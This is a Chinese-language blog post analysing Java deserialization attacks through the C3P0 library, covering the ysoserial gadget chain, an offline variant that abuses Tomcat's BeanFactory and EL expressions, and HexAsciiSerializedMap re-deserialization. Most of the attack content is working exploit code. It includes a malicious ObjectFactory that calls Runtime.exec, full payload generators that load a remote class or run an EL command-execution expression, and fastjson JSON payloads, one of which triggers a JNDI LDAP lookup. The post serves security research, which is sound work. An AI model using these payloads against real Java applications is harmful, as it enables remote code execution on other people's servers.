C3P0以及不出网原理分析

Yso的链子

我们在yso中可以得知链子如下:

 * com.sun.jndi.rmi.registry.RegistryContext->lookup
 * com.mchange.v2.naming.ReferenceIndirector$ReferenceSerialized->getObject
 * com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase->readObject

writeObject简单梳理

我们直接定位到PoolBackedDataSourceBase 这里169行 toByteArray
image.png
image.png
也就是把connectionPoolDataSource序列化,但是我们要知道connectionPoolDataSource是一个ConnectionPoolDataSource类型的对象且没有实现Serializable接口。所以是不能序列化的。所以直接进入如图1所示的 175-176 行
使用ReferenceIndirector进行包装,然后进入ReferenceIndirector#indirectForm方法再进行赋值。
image.png

readObject简单梳理

image.png
因为我们序列化的时候就已经包装过的。所以反序列化会判断是否是IndirectlySerialized的实例。
然后会去调用getObject方法 而ReferenceIndirector中ReferenceSerialized类实现了IndirectlySerialized接口如图:
image.png
如图85行还有一个lookup方法 但是contextName由于是不可控,我们只能控制reference 所以继续查看88行
ReferenceableUtils#referenceToObject方法如图所示
image.png
var0是我们的reference,可以如图所示关系图。Class.forname可以通过我们reference设置的getFactoryClassLocation通过urlclassload进行一个加载获取。然后获取到我们的类然后实例化调用getObjectInstance方法。熟悉JNDI的xd 一定知道jndi注入的时候也是一定会调用这个方法的。所以我们就可以构造一个reference即可。
恶意test类代码 其实写静态代码块也可以 上面实例化设置true了。

import java.io.IOException;
import java.util.Hashtable;
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;

/* renamed from: test  reason: default package */
/* loaded from: test.class */
public class test implements ObjectFactory {
    public Object getObjectInstance(Object obj, Name name, Context context, Hashtable<?, ?> hashtable) throws Exception, IOException {
        return Runtime.getRuntime().exec("calc");
    }
}

c3p0

package ysoserial.test;

import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.Referenceable;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.logging.Logger;
import ysoserial.Deserializer;
import ysoserial.Serializer;

public class C3P0 {
    public static void main(String[] args) throws Exception{
        PoolBackedDataSourceBase poolBackedDataSourceBase = new PoolBackedDataSourceBase(false);
        PoolSource poolSource = new PoolSource("test","http://127.0.0.1:8000/");
        Field connectionPoolDataSourceField = PoolBackedDataSourceBase.class.getDeclaredField("connectionPoolDataSource");
        connectionPoolDataSourceField.setAccessible(true);
        connectionPoolDataSourceField.set(poolBackedDataSourceBase,poolSource);

        byte[] bytes = Serializer.serialize(poolBackedDataSourceBase);
        Deserializer.deserialize(bytes);
    }

    private static class PoolSource implements ConnectionPoolDataSource, Referenceable {
        private String classFactory;
        private String classFactoryLocation;
        public PoolSource(String classFactory, String classFactoryLocation){
            this.classFactory = classFactory;
            this.classFactoryLocation = classFactoryLocation;
        }
        @Override
        public Reference getReference() throws NamingException {
            return new Reference("test",this.classFactory,this.classFactoryLocation);
        }

        @Override
        public PooledConnection getPooledConnection() throws SQLException {
            return null;
        }

        @Override
        public PooledConnection getPooledConnection(String user, String password) throws SQLException {
            return null;
        }

        @Override
        public PrintWriter getLogWriter() throws SQLException {
            return null;
        }

        @Override
        public void setLogWriter(PrintWriter out) throws SQLException {

        }

        @Override
        public void setLoginTimeout(int seconds) throws SQLException {

        }

        @Override
        public int getLoginTimeout() throws SQLException {
            return 0;
        }

        @Override
        public Logger getParentLogger() throws SQLFeatureNotSupportedException {
            return null;
        }
    }
}

image.png

利用本地getObjectInstance

我们通过上面分析知道了reference是((Referenceable)var1).getReference();来获取的。而后面调用referenceToObject如图所示,只要var11 也就是getFactoryClassLocation为null我们就会使用当前的线程的ClassLoader,从而又调用getObjectInstance 其实这里和我们bypass jndi高版本是一样的。所以只需要找到一个本地实现了getObjectInstance并且可以代码注入或者说是命令执行的类即可。
image.png
具体文章看上一篇bypass jndi吧 这里就直接放出来代码了。只需要将源代码的getReference改成本地构造的ref即可。除了tomcat的el表达式还有很多其他的例如Groovy 同理

package ysoserial.test;

import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.Referenceable;
import javax.naming.StringRefAddr;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.logging.Logger;

import org.apache.naming.ResourceRef;
import ysoserial.Deserializer;
import ysoserial.Serializer;

public class C3P0 {
    public static void main(String[] args) throws Exception{
        PoolBackedDataSourceBase poolBackedDataSourceBase = new PoolBackedDataSourceBase(false);
        PoolSource poolSource = new PoolSource("test","http://127.0.0.1:8000/");
        Field connectionPoolDataSourceField = PoolBackedDataSourceBase.class.getDeclaredField("connectionPoolDataSource");
        connectionPoolDataSourceField.setAccessible(true);
        connectionPoolDataSourceField.set(poolBackedDataSourceBase,poolSource);

        byte[] bytes = Serializer.serialize(poolBackedDataSourceBase);
        Deserializer.deserialize(bytes);
    }

    private static class PoolSource implements ConnectionPoolDataSource, Referenceable {
        private String classFactory;
        private String classFactoryLocation;
        public PoolSource(String classFactory, String classFactoryLocation){
            this.classFactory = classFactory;
            this.classFactoryLocation = classFactoryLocation;
        }
        @Override
        public Reference getReference() throws NamingException {
            ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);

            // 强制将 'r0ser1' 属性的setter 从 'setX' 变为 'eval', 详细逻辑见 BeanFactory.getObjectInstance 代码
            ref.add(new StringRefAddr("forceString", "r0ser1=eval"));

            // 指定r0ser1属性指定其setter方法需要的参数,实际是ElProcessor.eval方法执行的参数,利用表达式执行命令
            ref.add(new StringRefAddr("r0ser1", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['calc']).start()\")"));

            return ref;
//            return new Reference("evil",this.classFactory,this.classFactoryLocation);
        }

        @Override
        public PooledConnection getPooledConnection() throws SQLException {
            return null;
        }

        @Override
        public PooledConnection getPooledConnection(String user, String password) throws SQLException {
            return null;
        }

        @Override
        public PrintWriter getLogWriter() throws SQLException {
            return null;
        }

        @Override
        public void setLogWriter(PrintWriter out) throws SQLException {

        }

        @Override
        public void setLoginTimeout(int seconds) throws SQLException {

        }

        @Override
        public int getLoginTimeout() throws SQLException {
            return 0;
        }

        @Override
        public Logger getParentLogger() throws SQLFeatureNotSupportedException {
            return null;
        }
    }
}

利用HexAsciiSerializedMap二次反序列化

这一个操作其实更多用到的例如fastjson jackson 等其他组件配合使用的。严格意义来说这个不算c3p0通用链子。
c3p0包里面有这样一个类WrapperConnectionPoolDataSource。
image.png
我们查看构造方法。发现获取了userOverridesAsString
image.png
通过C3P0ImplUtils.parseUserOverridesAsString调用关系图如下图所示 最终调用到了原生的readObject
image.png
还有一点需要注意的是在初始化类的时候调用构造方法会调用setUpPropertyListeners() 所示。
image.png
这里先说一下VetoableChangeListener 方法就是一个监听器,当Bean中受约束的属性改变时,就会调用监听器的VetoableChange 方法。可以一直跟进后续监听会重载调用的。然后根据监听的属性来做不同的操作。
connectionTesterClassName 属性通过recreateConnectionTester 方法重新实例化一个ConnectionTester 对象
userOverridesAsString 属性 会使用C3P0ImplUtils.parseUserOverridesAsString 来处理新值。
这里给一个demo测试

package ysoserial.payloads;

import com.mchange.v2.c3p0.WrapperConnectionPoolDataSource;
import ysoserial.Serializer;
import java.io.IOException;
import java.io.InputStream;

public class c3p0 {
    public static byte[] toByteArray(InputStream in) throws IOException {
        byte[] classBytes;
        classBytes = new byte[in.available()];
        in.read(classBytes);
        in.close();
        return classBytes;
    }

    public static String bytesToHexString(byte[] bArray, int length) {
        StringBuffer sb = new StringBuffer(length);

        for(int i = 0; i < length; ++i) {
            String sTemp = Integer.toHexString(255 & bArray[i]);
            if (sTemp.length() < 2) {
                sb.append(0);
            }

            sb.append(sTemp.toUpperCase());
        }
        return sb.toString();
    }
    public static void main(String[] args) throws Exception {

        Object obj=new CommonsCollections6().getObject("calc");
        byte[] data = Serializer.serialize(obj);
        String HexString = bytesToHexString(data, data.length);
        System.out.println(HexString.length());
        String payload = "HexAsciiSerializedMap:"+HexString+":";

        WrapperConnectionPoolDataSource wrapperConnectionPoolDataSource = new WrapperConnectionPoolDataSource();
        wrapperConnectionPoolDataSource.setUserOverridesAsString(payload);


    }
}

然后使用fastjson 或者 jackson之类的也就很简单了。
fastjson

{"e":{"@type":"java.lang.Class","val":"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource"},"f":{"@type":"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource","userOverridesAsString":"HexAsciiSerializedMap:hex编码内容;"}}

JNDI

jndi也是配合一些其他来使用的。

{"e":{"@type":"java.lang.Class","val":"com.mchange.v2.c3p0.JndiRefForwardingDataSource"},"f":{"@type":"com.mchange.v2.c3p0.JndiRefForwardingDataSource","jndiName":"ldap://127.0.0.1:8888/test","loginTimeout":0}}

Reference

https://blog.csdn.net/rfrder/article/details/123208761
https://xz.aliyun.com/t/10728#toc-6
https://www.cnblogs.com/nice0e3/p/15058285.html
https://blog.diggid.top/2021/10/13/C3P0%E7%9A%84%E4%B8%8D%E5%87%BA%E7%BD%91%E6%96%B9%E5%BC%8F%E5%88%A9%E7%94%A8
posted @ 2023-02-09 16:12  R0ser1  阅读(138)  评论(0编辑  收藏  举报